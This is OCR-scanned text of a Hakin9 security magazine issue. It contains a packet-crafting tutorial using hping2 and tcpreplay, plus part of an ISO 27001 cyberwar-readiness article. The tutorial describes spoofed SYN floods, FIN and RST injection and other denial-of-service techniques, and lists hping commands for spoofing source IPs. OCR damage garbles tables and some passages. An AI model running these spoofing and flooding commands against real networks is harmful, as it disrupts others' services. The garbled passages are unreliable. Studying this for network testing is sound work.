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Dear Hakin9 Readers,

We have survived the end of the world and we are entering
the new year with an issue devoted to Cybersecurity. We have
done our best to bring you quality articles from our experts
and we hope our January edition will provide you with valu-
able knowledge. This month, William F, Slater, Il explains how
to get your organization ready for cyberwar, Terrance Sta-
chowski discusses active cyber defense, and Luciano Ferrari
takes up industrial cybersecurity. Moreover, Pierluigi Paganini
introduces you to anonymizing your network, Pankaj Patel ex-
plains how to keep web apps secure, and Mark Painter ad-
dresses the top three mobile application threats nowadays. In
addition, our editor Ewa Duranc talks with Aseem Jakhar, the
founder of nullcon Security Conference.

Hakin9’s editorial team would like to give special thanks to
the authors, betatesters, proofreaders and our editor in chief,
Ewa Dudzic.

We hope that you will enjoy reading this issue!

Ewa Duranc, Jakub Walczak
& the Hakin9 Team
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SCAN & ANALYZE

Packet Manipulation — Using hping2 06
Vinod Senthil

In this fast growing digital world, billions of people are
using the Internet. The base for this is bits then bytes and
data which are called packets. Vinod Senthil of infySEC
explains and analyzes them.

PREPARE FOR AN ATTACK

Prepare Your Organization 14
for Cyberwar and Cyberattacks

William F. Slater, Il

One of the main disadvantages of the hyper-connect-
ed world of the 21st century is the very real danger that
countries, organizations, and people who use networks
computer resources connected to the Internet face be-
cause they are at risk of cyberattacks that could result in
anything ranging from denial service, to espionage, theft
of confidential data, destruction of data, and/or destruc-
tion of systems and services. As a recognition of these
dangers, national leaders, business leaders and military
of most modern countries are now acknowledging that
the potential and likely eventuality of cyberwar is very re-
al. This article will introduce come concepts about the re-
alities and weapons of cyberwarfare and discuss how an
organization can use a security compliance framework of
controls to mitigate the risks of cyberattacks and cyber-
warfare.

THE ATTACK

Industrial Cybersecurity 26
Luciano Ferrari

There are lots of misunderstandings concerning Indus-
trial Cybersecurity. The IT World is completely different
from the Industrial World, but due to the necessity of
communications between industrial facilities they were
using the network and systems which where developed
and deployed never worrying about security. Engineers
work to make control systems more usable, more reli-
able, efficient, inter operable, all those things that make
them more vulnerable. You will be driven through some
history, theory, and some practical exposure on hacking
industrial environments and how to protect them.

STRIKE BACK

Hack Me? No, Hack You! — The Pros 30
and Cons of Active Cyber Defense

Terrance Stachowski

ctive cyber defense, or the act of striking back at cyber at-
tackers, is a growing practice being advocated by various
governnjénts, corporations, and security experts around
the world. §ome victims of cyber attacks are increasingly
implementing active cyber attack measures, firing back at
their attackers with'equal levels of aggression.

Hiirrrs

ANONYMITY ISSUE

Introduction to Anonymizing Networks 38
— Tor vs I12P: The Right to Anonymity
Pierluigi Paganin

Every operation made in cyber space, every visited web
site, and every web service accessed, leave traces of the
user’s experience with the Internet. This information is
considered very precious for commercial and intelligence
purposes.

Web Application Security Nowadays 44
Pankaj Patel

Web Applications have become most crucial nowadays
because we are now moving towards the new era of tech-
nology, where the web will play an important role and be-
come a sensitive area of concern.

Addressing Today’s Top Three Mobile 50
Application Threats

Mark Painter

There is no question that mobile computing is growing
at an exponential rate. This rapid transformation has
caused security concerns to be outpaced by the ease of
use, flexibility, and productivity of mobile devices. When
vulnerabilities are exploited, the security of mission-criti-
cal data becomes a serious threat.

PLUS

Wireshark — How to Dig Out 54

the Sniffing Potential from It?

Manfred Ferreira

Wireshark is the perfect tool for capturing and analyz-
ing traffic on a wired ethernet network, IEEE 802.3, vir-
tual networks, or nowadays, also wireless network, IEEE
802.11. Wireshark has multiple capabilities: filtering pro-
tocols, IP addresses’ sources or/and destinations, or ag-
gregating all the packets from a designated communica-
tion and showing the file content transmitted in just one
command .If the communication is not ciphered, it is pos-
sible to see in clear text the identification of the user and
the respected password transmitted. It is also known as
the trouble solver when the problem reaches the layer
2 or 3 from the OSI model, including QoS problems and
overcharged communications.This article gives an over-
view to understand the reason of Wireshark’s existence
and the potential it delivers for the IT community.

Interview with Aseem Jakhar 62
Ewa Duranc, Hakin9 Magazine Editor speaks with As-
eem Jakhar the Founder of nullcon Security Conference.
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“The journey of a thousand miles begins with a single step.” Lao Tzu

One of your step is here...

Packet Manipulation

using hping2

In this fast growing digital world of internet billions of people are using
internet. The base for this internet is bits then bytes and data which are
called as packets. Now we are going to analyze these packets.

| love packets. Bcoz it is sweet. Do you want to taste it?

tocol and it is the important protocol used
in the internet today because it is connec-
tion oriented, reliable, provide no duplication and
it uses Three-way Handshake mechanism (SYN,
SYN-ACK, ACK) which ensures the connection
between the client and the server system. It is a
connection oriented protocol because it estab-
lishes a virtual connection before the data can
be transferred between two systems. Reliable,
it ensures that the data are delivered in the cor-
rect order in which order they were send. It works
in Transport layer (Fourth layer) of OSI model. A
TCP connection is identified by using the follow-
ing parameters.
Ex: Source ip address, Source port, Destination
ip address, Destination port (Table 1).

T CP is known as Transmission Control Pro-

UDP
UDP is known as User Datagram Protocol it is a
simple, connectionless protocol because the da-

Table 1. Popular ports used by TCP

20&21 FTP Data port & Control port
2 23 TELNET Terminal Network
3 25 SMTP Simple Mail Transfer
Protocol
4 53 DNS Domain Name Server
80 HTTP Hyper Text Transfer
Protocol
6 443 HTTPS Hyper Text Transfer

Protocol Secure

<)

tagrams are not numbered even though sent by
different users. It works in the Transport Layer
(Fourth Layer) of the OSI model. It provides some
error recovery services and it’s primarily used for
broadcasting messages over a network for maxi-
mum speed and bandwidth utilizing services such
as video streaming, video conference and online
games. A UDP connection is identified as like TCP
connection.

Ex: Source |IP address, Source port, Destination
IP address, Destination port (Table 2).

The Figure 1 the TCP header format in which
it uses 32 bit format, the source port uses 16
bits and it is used to uniquely identify the source
port (Sender). The destination port also uses 16
bit and is used to identify the receiving port (Re-
ceiver). Each transmitting packet having the ran-
dom initial sequence number which is used to
keep track of how much data has sent and the
acknowledgement number is increased by one
with of sequence number to inform that the da-
ta was received successfully. Header Length is

Table 2. Popular ports used by UDP

13 Daytime Returns the date and the
time
2 53 Nameserver Domain Name Service
3 69 TFTP Trivial File Transfer Protocol
4 11 RPC Remote Procedure Call
5 123 NTP Network Time Protocol
6 161 SNMP Simple Network

Management Protocol
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known as header length it used to indicate that this header such as optional data and its length
were the data begins and always it uses multi- (Table 3).

ples of 32 bits. Window size is used to mention

the sender receiving capacity by default it uses

bytes. Checksum is used to check the values of

the header and the data to ensure that there is

no modification in the information. Urgent point- The above UDP diagram uses the 32-bit format
er is used if the URG flag is set, then the se- in which the source port uses 16 bits and it is used
quence number indicating the last urgent data to uniquely identify the source port (Sender). The
byte. We have some optional value to mention in  destination port also uses 16 bit and is used to

TCP Header (RFC 793)

2 3 4 5 6 7] 8 910111213 14 15116/ 1718 18 20 21 22/ 23|24 25 26 27 28 23 30 31

Byte Offset 0 Byte Offset 1 Byte Offset 2 Byte Offset 3

Source Port Number (16-bit) Destination Port Number (16-bit)

Byte Offset 4

Byte Offset 5 Byte Offset 6 Byte Offset 7

Sequence Number [32-bit)

Byte Offset 8 Byte Offset 9 Byte Offset 10 Byte Offset 11

sa)ig 0z

Acknowledgement Number [32-bit)

Byte Offset 12 Byte Offset 13

Al W@
—| =

Byte Offset 16 Byte Offset 17

Byte Offset 14

Byte Offset 15

Window Size (16-bit)
Byte Offset 18 Byte Offset 19

Checksum (16-bit) Urgent Pointer (16-bit)

Byte Offset 20 Byte Offset 21 Byte Offset 22 Byte Offset 23

TCP Options (variable....if any)

data (variable....)

0012 3 4 5 6 78 910111213 14 1516 17 18 19 20 21 22 23|24 25 26 27 28 29 30 31

Figure 1. TCP Header Information

UDP Header (RFC 768

2 3 4 & B 71 8 9101112 13 14 158]16 17 18 19 20 21 22 2324 25 26 27 28 29 30 31
Byte Offset 0 Byte Offset 1 Byte Offset 2 Byte Offset 3

0 1

Source Port Mumber (16-bit) Destination Port Number (16-bit)

Byte Offset 4 Byte Offset 5 Byte Offset 6 Byte Offset 7
Checksum (16-bit)

Byte Offset 8 Byte Offset 9 Byte Offset 10 Byte Offset 11

data (variable....)

0 1 21 3| 4] 5| 6 F"| 8| 910 1112|1314 15|1E 17 18 19 20 29 22 23|24 25 26 27 28 29 30 AN
Figure 2. UDP Header Information
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identify the receiving port (Receiver). These ports
are used to assume that if it is a need to reply for
request then these ports are used. If the source
port as a client then it uses the ephemeral port
numbers. If the source is a server then it uses the
well-known port number. The length field is used to
indicate the header and data length in bytes. The
checksum field is used for error checking of the
header and data.

“The world is a book and those who do not travel
read only one page.” Saint Augustine

Fragmentation

It is way of breaking the large IP packet in to small-
er ip packets by fitting to a network MTU (Maxi-
mum Transmission Unit). If the transmitting packet
is longer than the MTU, then the router fragments
the packet. It may be done multiple times along
route. The ip fragmentation process is done by the
following:

» Extract the data field from the incoming packet.
» Divides the data field in to smaller fragments.
» Sends each fragment in its own ip packet.

For an example if the MTU having 600 octets and
ip header hold 20 octets then the remaining 580
octets only available for data in each fragmented
ip packet (Figure 3).

These fragmented packets are reassembled (de-
fragmented) by the destination host.

Table 3. TCP Flags

URG Urgent Pointer is used for sending interrupts when
setto 1

ACK Acknowledgement used to acknowledge the
connection

PSH Push it will push the data to the stack

RST Reset used to reset the connection

SYN Synchronization used to setup the connection

FIN Finish it will terminate the connection

MTU (500 Octets

IP data field (580) IP header (20)

Figure 3. Fragmentation example diagram

<)

Protocol Benders

Some of the applications are deviated from its nor-
mal behavior because they were designed differ-
ently. The following are the well-known protocol
benders FTP, UNIX Trace route. | hope now you
have more interest because you know very well
about these both but you may don’t know these
are protocol benders.

FTP (File Transfer Protocol)

Let us see how FTP is a protocol bender. The ex-
pected behavior of FTP is it uses two ports one is
used for client and another one is used for server
during the three-way handshake mechanism. It us-
es one ephemeral port and one server port for the
FTP connection while send/receive the data. FTP
is slightly differ from the normal TCP communica-
tion model because it uses the two ports first port
is used for controlling the FTP connection, the sec-
ond one is used for exchange the data between
the client and the server.

Unix Traceroute

It combines ICMP and UDP to navigate from
source to the destination and it record all the paths
it passing through the routers. It is similar to Win-
dows Tracert it uses ICMP to discover but Unix
Traceroute uses UDP to discover the host.

You should be aware that the both UNIX trace
route and Windows Trace route only works if spe-
cific ICMP messages are allowed into the network.
Both versions require that ICMP “time exceeded
in-transmit” messages be allowed in to the net-
work. The UNIX traceroute requires that ICMP
“‘port unreachable” messages be allowed, and
Windows tracert requires that ICMP echo requests
be allowed.

“If you don’t know where you’re going, any road
will take you there.” George Harrison

Packet Crafting

Packet crafting is the heart of intrusion detection
system and of understanding what is actually oc-
curring in a network. As we know that these vul-
nerability assessment tools used by network en-
gineers to test the security of their network, the
same tool can also be used by hackers to find the
vulnerabilities and to exploit them.

Steps:

Packet Assembly.
Packet Editing.
Packet Playing.
Packet Analyses.
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Packet Assembly

This is the first step in packet crafting process, to
decide that which network to be tested or hacked
and tries to gather the vulnerability in the system.

Packet Editing

It is the second step in packet crafting process to
add the values such as payload, checksum to gain
as much information as possible.

Packet Playing

After creating the packet we have to send it to the
target network and then collect the replaying pack-
et to analyze the expected results. If the expected
outcome is not achieved then you have to edit the
scenario.

Packet analyzing
The collected packets are analyzed by using the
tools like wireshark or any other network protocol
analyzer (Table 4).

Packet crafting Techniques

As seen above, now we know the whole idea be-
hind packet crafting to try to stimulate an attack,
this will help you to learn about various networking
device and their vulnerabilities. The most impor-
tant thing is it can also be used to attack Web serv-
ers and other application gateways. The following
are various packet crafting techniques.

Ping fragmentation.
Packet flag manipulation.
Packet duplication.
Protocol manipulation.
Half open packets.

Ping fragmentation

The attacker try to send the maximum packet
size which needs a reply, while replying the tar-
get also respond with larger packet size which
consumes lot of bandwidth at the end denial of
service. By sending ACK flag in the packet it con-
fuses the destination service and closes the le-
gitimate connection.

Table 4. Various packet manipulation tools

Packet Crafting [LgleilalepX Colasoft Scapy
packet builder
Packet editing  [RULHele Netdude Mergecap
Packet Editor
Packet Replay  PLlEie]: Tcpreplay Ostinato
2 G Ee| Wireshark Tcpdump Capsa

www.hakin9.org/en

Packet flag manipulation

As | mentioned above in TCP flags table, you
know very about the flags. In three- way hand-
shake mechanism, a SYN flag is set in the packet
and sent to a destination to establish a valid TCP
communication. This can be exploited by sending
a RST or FIN packet, which reset or terminate the
connection.

Packet duplication

The evil hackers capture the no of packets and
resend it over the network. This will confuse the
target system, which assumes that the previ-
ous connection was not properly answered or
terminated. Real-time example of this attack
is when a duplicate ACK or FIN packet is sent
to the target without modifying any other da-
ta in the frame. This will cause the denial of ser-
vice attack which makes the network resource
unavailable.

Protocol manipulation

This method is used to test the vulnerability in the
firewall. To confuse the firewall the flags like RST,
FIN are set in the TCP and UDP protocol which
reset the connection or terminate. The olden fire-
walls not able to handle this rule and shutting down
but recent firewalls identify this behavior and drop
the connection.

Half open packets

In TCP communication model we say half-open
connection, when a host sends a SYN packet to
destination and waiting for the SYN-ACK packet.
Now the destination sends SYN-ACK packet how-
ever, the attackers does not reply to it, and instead
they create a spoofed IP packet by changing the
source IP and sending another SYN packet to the
destination. This will cause the denial of service
attack.

Introduction to Hping

Hping2 is a command-line oriented TCP/IP pack-
et assembler and analyzer. It supports TCP,
UDP, ICMP and RAW-IP protocols. It was main-

Table 5. Different modes of hping

1 Tcp Default mode
2 -0 Raw ip mode
3 -1 ICMP mode

4 -2 UDP mode

5 -8 Scan mode

6 -9 Listen mode

<)
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ly used as a security tool by network admin-

istrators. By default hping uses TCP mode,
the following table shows the different modes
(Table 5).

Features:

* Firewall testing.

* Port scanning.

* Network testing.

* Remote OS fingerprinting.

* ltis also used by students to learn TCP/IP

For more detail and to download, visit http:./www.
hping.org. It is also available in Backtrack.

Craft TCP packets using hping2

Craft is a kind of art to make something; here we
are going to create a TCP packet by specifying
the TCP flags, destination port and a target ad-
dress. Before sending the packets to the target you
should be aware that, if you do not specify destina-
tions port it will use default value as 0. If you do not

Table 6. Basic switches in hping

usage Count packets
2 usage -v Ccurrent version
3 ip -a Spoof ip address
4 ip -t ttl default (64)
5 icmp -G default echo request
6 tcp/udp -S Source port
7 tcp/udp  -p Destination port
8 tcp/udp  -q Sequence number
9 tcp/udp -M Set TCP sequence number
10 tcp/udp  -L Set TCP acknowledgement

number

= root@bt:

Session Edit View Bookmarks Settings

root@bt:~#|hping --icmp 192.168.1.6
HPINb 192.168.1.6
a bytes
len=28
len=28
len=28
len=28
len=28
len=28
len=28
~C

N 1G22 18 1
/ packets transmitted,
round-trip min/avg/max =
root@bt:~# [}

168.
168.
168.
168.
168.
168.
168.

tt1=64
tt1=64
tt1=64
ttil=64
tt1=64
tt1=64
tt1=64

id=5598
id=5599
id=5600
id=5601
id=5602
id=5603
id=5604

ip=192.
ip=192.
ip=192.
ip=192.
ip=192.
ip=192.
ip=192.
ctatictir

B _hnino
W =5

Figure 4. hping?2 interface
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(etht 19Y.2.168.1.0):

/ packets received,
0.1/0.1/70.1 ms

specify the source port it will use random ephem-
eral port (Table 6 and Figure 4).

Use this help command to know some basics
syntax and types hping -h or hping -help.

First we have to check that our target is alive or
not, issue this command in your backtrack4.

Go to Menu > backtrack > Network Mapping >
Identify Life Hosts > Hping2.

# “hping --icmp 192.168.1.6"

The above screen shot shows that the icmp com-
mand and the target is 192.168.1.6 marked in
red box. It sends and receives the 7 packets and
there is no packet loss in this time period marked
as red.

Table 7. Notorious Hping commands

1 hping -icmp TARGET IP Check the target is alive

2 hping -d 500 TARGET IP To send 500 bytes of data

3 hping -j TARGET IP To produce the values in
hex format

4 hping -S TARGET IP -p 445 To make SYN request to
destination port

5 hping -2 TARGET IP To add UDP packet with
request

6 hping -1 TARGET IP To make the ICMP request

hping -F TARGET IP -p 135  To send FIN packets to the

destination ip and port

8 hping -R TARGET IP To send the Reset packets

to the destination

9 hping -a 122.122.122.122 To send SYN packets
-S TARGET IP using spoofed ip address
10 hping -SFPUA -c 4 TARGET  This will send one SYN,
IP FIN, PUSH, URG, ACK flags

set

— - Shell - Hping2

Help

N

S

icmp mode headers + © dat
icmp seq=0
icmp seq=1
icmp seq=2
icmp seq=3
icmp seq=4
seq=5

ms
ms
ms
ms
ms
ms
ms

rtt=0.
rtt=0.
rtt=0.
rtt=0_

icmp_
icmp_seq=6

0% packet Lloss
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Note

By default hping command continuously send
packets to the target, to avoid this you can add “-c”
to your command. This is to denote that the no of
packets will send to the target.

Now you have the basic idea about the hping,
flag and protocols so now we are going to do
some evil thing which makes you more interest-
ing and knowledgeable at the end (Table 7 and
Figure 5).

Use of wireshark

Wireshark is a network protocol analyzer which
capture the packet and display the packet as de-
tailed as possible. It can use it to troubleshoot net-
work problems, examine security problems and
debug protocol implementation. Start this program
after hping and before tcpreply.

Open the wireshark it will work in both UNIX and
Windows operating system. Now select the inter-
face using the capture button in the menu bar, a
new window will open then select the interface you
want to capture.

Replaying captured packets

TCP replay is a tool for replaying network traffic
from files which saved by tcpdump. Tcpreply re-
send all packets from input files at the speed which
they were recorded a specific data rate, or as fast
as the hardware is capable. This is used to test the
network devices such as routers, bridges and oth-
er gateway devices.

Hll The Wireshark Ne
Edit View Go Capture Analyze

File Statistics  Telephony Tools Internals
B Interfaces... Ctrl+1 |g

] ) Options... Ctrl+K

i @ Start Ctrl+E

@ Stop
@ Restart
@ Capture Filters...

Description

Interface List || & Microsoft

TLEE &«

fef0::dd28:2880:13dc:deb? 0

Live list of the capture im
{counts incoming packe‘

@IRealtek RTLE102E PCI-E Fast Ethernet NICIfaBU::11&1:9b8?:8b2d:8cb6

Basic Usage
Now you have to specify the pcap file and the inter-
face to send the traffic out interface etho:

# tcpreplay --intfl=eth0 sample.pcap

You can specify the different speeds
To replay traffic as soon as possible:

# tcpreplay --topspeed --intfl=ethO sample.pcap
To replay traffic at a rate of 5 Mbps:

# tcpreplay --mbps=5.0 --intfl=eth(0 sample.pcap
To replay traffic 5 times as fast as it was captured:

# tcpreplay --multiplier=7.3
--intfl=eth(0 sample.pcap

To replay traffic at half-speed:

# tcpreplay --multiplier=0.5
--intfl=eth0 sample.pcap

To replay at 30 packets per second:
# tcpreplay --pps=30 --intfl=eth0 sample.pcap

To replay packets, one at a time while decoding it
(useful for debugging purposes):

# tcpreplay --oneatatime --verbose

--intfl=eth0 sample.pcap

-
Help

L m  EEme B

Expression... Clear Apply

Sl 1ost Popular Network Protocol Analyzer
| Rev 38096 from /ftrunk-1.6)

P Packets Packets/s Stop

’ Start] [ Options ’ Details ]

Start

Start capture on interface: E Sun febl::dd7a:33be:bdcd: 271 Optlons Details
@ Realtek RTLE102E PCI-
E' Sun i

Figure 5. Wireshark interface selection
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Replaying files multiple times
Using the loop flag you can specify that a pcap file
will be sent two or more times:

To replay the sample.pcap file 20 times:

# tcpreplay --loop=20 --intfl=ethO sample.pcap

To replay the sample.pcap forever or until CTRL-
C is pressed:

# tcpreplay --loop=0 --intfl=eth0 sample.pcap

How to use tcpreplay tool

The above diagram shows that “tcpreplay” com-
mand and then the interface you going to use ba-
sically we are using etho (Ethernet interface) then
the pcap file:

e Result 1: tcpreply command with the interface
-intf1=eth0 then the pcapf“e‘kest.pcapﬁ

* Result 2: The no of packets send “26 packets”
and with the speed of 0.12 Mbps.

* Result 3: It is same as result1 but using anoth-
er file called test2.pcap.

* Result 4: The no of attempted packets and the
successfully sent packet.

# tcpreplay --1nttl=etht test.pcap
ng out etht
essing file: test.pcap
l: 26 packets (5941 bytes) sent in 0.38 seconds
d: 15574.2 bps, ©.12 Mbps/sec, 68.16 pps

Statistics for network device: eth®
Allempled packels: 26
Successful packels: 26
Failed packets: 0
Retried packets (ENOBUFS): ©
Retried packets (EAGAIN): ©
:-# |tcpreplay - -1ntfl=cth® testl.pcap

ding out ethw¥
processing file: test2.pcap
Actual: 42 packets (4612 bytes) sent in 0.67 seconds
Rated: 6821.7 bps, 0.085 Mbps/sec, 62.12 pps

Statistics for network device: eth@
Attempted packets: 42
Successftul packets:

Failed packets: :
Retried packets (ENOBUFS): €
Retﬁied packets (EAGAIN):
~

Figure 5. TCP Replay
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Summary

As | mentioned above, the packet crafting attack is
difficult to take on. First the company’s network ad-
ministrators and network engineer should under-
stand their network, and they have to create their
own security testing scenario to test their network-
ing devices such as, firewall, IDS, IPS and routers.
To protect your organization you should have the
various level of defense security system for your
network infrastructure.
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Applying a

Security Compliance Framework to Prepare Your Organization

for Cyberwar and Cyberattacks

On Monday, CNN posted a web article with this headline, Nations
Prepare for Cyberwar describing the inevitability of a cyberwar that is
coming or possibly already here (Goldman, 2013).

ne of the main disadvantages of the hyper-
O connected world of the 21% century is the

very real danger that countries, organiza-
tions, and people who use networks computer re-
sources connected to the Internet face because
they are at risk of cyberattacks that could result
in anything ranging from denial service, to espio-
nage, theft of confidential data, destruction of da-
ta, and/or destruction of systems and services.
As a recognition of these dangers, national lead-
ers, business leaders and military of most modern
countries are now acknowledging that the potential
and likely eventuality of cyberwar is very real. This
article will introduce come concepts about the re-
alities and weapons of cyberwarfare and discuss
how an organization can use a security compli-
ance framework of controls to mitigate the risks of
cyberattacks and cyberwarfare.

The Simple Truths of this Article

» Cyberwar is coming or could be already here.
All the signs and news media coverage and
publicly known actions of the U.S. Government
confirm it

* If you use have an IT infrastructure that is im-
portant to your business operations, you need
to protect your business from Cyberattacks
and Cyberwarfare

* There are many things you can do, and things
you cannot legally do if you are in the United
States, to protect your business from Cyber-
attacks and Cyberwarfare. Restrictions inside
the U.S. Code, Title 10, and other various cy-

<)

ber legislation strictly prohibit retaliation or go-
ing on the offensive. But you can prepare and
protect yourself from cyberattacks.

* In any organization, Management Support is
required to understand and allocate the re-
sources to defend against cyberattacks.

* Understanding risk identification, threats, vul-
nerabilities, controls, performing risk assess-
ment, and risk management are essential to
becoming an effective protector of IT assets.

* Because of the complex nature of most IT infra-
structures and assets and how they integrate
with an organization's business operations, it is
better to use some type of proven framework
with which to assure that all the important as-
pects of compliance and infrastructure security
have meet address and are being measured.

Cyberwar Concepts

Cyberattacks and cyberwarfare tactics, by some
expert estimates, date back to the early 1980s
when there was a set of suspicious explosions that
were likely generated in control systems on some
pipelines in Asia, though this has never been con-
clusively confirmed. However, the idea of using
computers and software to attack another entity
via networks dates back to the early 2000s and by
some accounts, well before that. The diagram from
Lewis University shows a brief graphic history be-
tween 2000 and 2009 (Figure 1).

Cyberweapons That We Know About

Cyberattacks and cyberwarfare tactics have typi-
cally been in the realm of Distributed Denial of Ser-
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vice (DDoS) attacks with some more sophisticated
attacks as shown in the Technolytics diagram in
Figure 2.

[the histery of]

n
warfare;

Figure 1. A Brief History of Cyberwarfare by Lewis University,
Romeoville, IL

www.hakin9.org/en

Since 2007, as the existence of well-orchestrat-
ed cyberwar attacks such as the DDoS attacks
on Estonia (2007), Georgia (2008), and Kyrgyz-
stan (2009), as well as the Stuxnet (2010), Duqu
(2011), and Flame (2012) have all become known
to the world through security researchers, their
victims, and the media. As a result, it has become
apparent most who are watching this area that cy-
berspace has now become the new realm onto
which the field of international conflict has been
extended, and that cyberwarfare is now no lon-
ger a theoretical issue that could one day threat-
en those participants and systems that rely upon
connections to the Internet and Internet-connect-
ed networks. Unfortunately however, despite the
emergence of a new breed of intelligent cyber-
weapons (i.e. Stuxnet, Flame, Duqu, and Sham-
oon) with the ability to strike with precision and
accuracy, the present findings and research on
cyberwarfare related events shows that the U.S.
is playing catch-up and doing so badly (Turanski
and Husick, 2012).

The Figure 3 shows the rapid evolution of cyber-
weapons over time. It is obvious that according to
this diagram, starting in about 2008, until what is
predicted to be about 2020, the evolution of the so-
phistication of cyberweapons will be be quite sig-
nificant. This rapid rise in sophistication and capa-
bilities of cyberweapons, coupled with their relative
ease of use, proliferation and economic benefit,
will make these weapons very compelling for mili-
tary and strategic use, and make the likelihood of
cyberwar increasingly significant for the foresee-
able future.

Who Is the "Enemy" or the “Adversary?”

In the world of cyberattacks and cyberwarfare,
the issue of who your adversary usually depend-
ed on your perspective. From the perspective of
the U.S. and its allies, the adversary usually falls
into one of these five categories: Russia, China,
North Korea, Iran, or non-state actors. Much is
already known about our potential adversaries,
such as Russia, China, North Korea and Iran, but
what is perhaps less understood is the degree to
which they have been successful in integrating cy-
berwarfare and cyberdeterrence capabilities into
their own national war plans. Nevertheless, due to
the previous extensive experience of China, Rus-
sia and the U.S. with strategic war planning, it is
more likely that each of these countries stand the
greatest chance of making integrating cyberwar-
fare and cyberdeterrence capabilities into their re-
spective war plans. Yet, as far back as June 2009,
it was clear that the U.S. and Russia were unable

<)
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to agree on a treaty that would create the terms
under which cyberwarfare operations could and
would be conducted (Markoff, J. and Kramer, A.
E., 2009).

DDosS as a Service, as low as US$20 Per
Hour

We now live in a world where the Internet and mal-
ware have made it possible to buy services such as
DDoS attacks against an enemy or a competitor for
prices as low as $20 hour. When you consider the
implications of this idea, the economic will make the
idea of tactical cyberattacks more appealing to or-
ganizations. | know some of the URLs where these

technolytics

Cyber Weapons Evolution

Basic
Research

Applied
Research

Early
Adopters

Eapid Advancement

High

Basic Weapons

Advanced Weapons

Low

1994

1998 2002 2004 2008 2012 2020

Figure 3. Evolution of Cyberweapon Capabilities, 1994 -

Figure 2. Classes of Cyberweapon Capatbilities, by Technolytics
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services are available, but rather than give them ad-
vertisement, | would just invite you to do an Internet
search using your favorite search engine.

Understanding Risks and Threats and
Vulnerabilities
To deal with the realities of cyberattacks and cy-
berwar, one must grasp a few simple concepts re-
lated to risk quantification, risk assessment, and
risk management. Risk in the world of Information
Technology is a calculation of the likelihood of an
undesirable event based on the estimated severity
of impact when the event occurs, the probability of
the event’s occurrence, and the ability to detect the
event should it actually occur. Usually risk is usu-
ally explained and understood in terms of threats
and vulnerabilities, and damages to assets. Risk is
important to understand because risk reduction is
usually accomplished by the application of one or
more controls.

Examples of assets that could be impacted by
risk in an organization include:

* Physical
* People

exploit

* Information (including documentation, strategy,
business model, etc.

+ Data and Databases

* Organization

* Websites

» Systems

» Servers, Computers,
components, etc.

» Intangibles (brand, reputation, etc.)

» Services (Including power, cooling, backup
power, and services provided to clients)

Network Infrastructure

In addition, in the world of IT, you usually have
four basic strategies to manage risk once it has
been identified and assessed:

* Mitigate it
» Transfer it
* Avoid it

* lIgnore it

| have included some diagrams to help readers
understand the relationships between risk, vulner-
abilities, threats, assets and controls that reduce
risk (Figure 4 and Figure 5).

Information

reduce

Protection
Requirements

assets

Asset values

*# Controls: A practice, procedure or mechanism that reduces risk

Figure 4. Risk relationship diagram, from 1SO27001.org

www.hakin9.org/en
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What Is an ISMS?

The fast-paced, electronically-enabled business
environment of the 21t century is characterized
by the tactical and strategic uses of information
as business enablers. In practically every orga-
nization, information is now seen as a primary
asset and as such, it must be protected. Yet the
proliferation and reliance on information in an
organization also introduces responsibilities and
risks which if not addressed, can subject the or-
ganization to extraordinary risks that could se-
verely impact the viability of the business. The
best strategy for an organization to manage
these new business realities is to adopt a strong
compliance management posture in the area of
Information Security to ensure that its informa-
tion assets are protected in the most compre-
hensive, standardized manner possible. Pres-
ently, the best tool to manage the challenges of
Information Security is an enterprise Information
Security Management System (ISMS). The ISMS
is a centralized system of policies, procedures,
and guidelines that when created and uniformly
applied will provide the best practices to help en-

sure that an organization’s Information Security
is being managed in a standardized way using
documented best practices. The introduction of
an ISMS into am organization’s business opera-
tions will serve to identify, document and clas-
sify information assets and risks and then doc-
ument the mitigation of risks using established,
documented controls. When an organization has
chosen the standardized ISO 27001 Security
Management Framework the key benefits to im-
plementing an ISMS would be:

» The implementation of a standardized Informa-
tion Security Management System into the or-
ganization

+ Better management and fulfillment of the Infor-
mation Security requirements from the organi-
zation’s Clients

* Reduction of risks related to cyberattacks and
cyberwarfare

* Reduction of risk of loss of existing customers

* Increased opportunities for new business

* Reduction of risk to regulatory penalties

» Reduction of risk reputational damage

Counter-measures Threats
d likelihood of ey
BetsireLt LorHERS Taooe o > Attack P Threat
has 1 control — has
metric metric 4 J’ has
Detective dEcovees Frequency
control
has has
metric metric
A A4
Effectiveness Accuracy .
exploits
T has triggers
metric 99
h i
. has
Corrective Vulnerability |« Asset
Control triggers —‘ r
results has Hida
has L4 in quantifiable
metric Preventative I ¥ ¥ ¥ ¥
Control eliminates N
| Impact Exposure Value
decreases g
Exposures
Logical Model of IT Security Management Controls (Level 2)
From Security Metrics by Andrew Jaquith, published by Addison-Waesley, 2007

Figure 5. Relationships between IT security management controls, Threats and Assets (Exposures), Jaquith, 2007
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* The creation of an Information Security-aware
culture at the organization

* Enabling 1ISO27001-compliant offices to com-
municate and conduct business in areas af-
fected by Information Security in a standard
way

» Better management of IT assets and their as-
sociated risks

+ The ability to have an Information Securi-
ty Management System that is based on the
Deming model of Plan — Do — Check — Act for
continuous process improvement

* The adoption of the most widely recognized in-
ternal standard for implementing an ISMS

Note that the Information Security has rapid-
ly risen to the forefront as a serious business is-
sue. Because of its rapid rise to prominence and
the dynamic and evolving nature of threats and
the associated risk management efforts, the
models to measure and quantify the value of
such projects can often seem frustrating at best.
So while this ISMS project may difficult to quan-
tify using traditional methods such as return on
investment, it is clear that the benefits of contin-
ued customer relationships as well as the abili-
ty to attract future customers through a demon-
strated strong and continually improving posture
of Information Security compliance management

will far outweigh the costs associated with an
ISO 27001project.

Indeed, after implementing the ISMS under ISO
27001 standards, an organization will have better
control of the Information that is the lifeblood of its
business, and it will be able to demonstrate to its
customers and its business partners that it too has
adopted a strong posture of compliance in the area
of Information Security.

What is ISO 27001?

ISO 27001 is an international standard with 133
controls in 11 domains which provide structured
standard for the creation of an Information Secu-
rity Management System based on strongly fo-
cused risk management and continuous process
improvement under the Plan — Do — Check- Act
model. The present version was developed in
2005 and an updated version is expected to be
published by ISO sometime in 2013. This version
is predicted to have several additions that will fo-
cus on Cloud Computing and also standardized IT
services and service management as described
under ITIL and ISO 20000. In fact, in October
2012, the ISO 27013 standard was published and
it demonstrates how to integrate an 1ISO 2000 —
based Service Management System with an ISO
27001-based Information Security Management
System.

ISMS Implementation Project Time Line

FPhase 2 - Establishing the ISMS (4 to 5 weeks)
FPhase 3 -
Phase 4 -
Phase 5 -
Phase 6 -
Phase 7

Phase § -
Phase 9 -

Internal ISMS Audits (1 week)

Management Review of the ISMS (1 week)

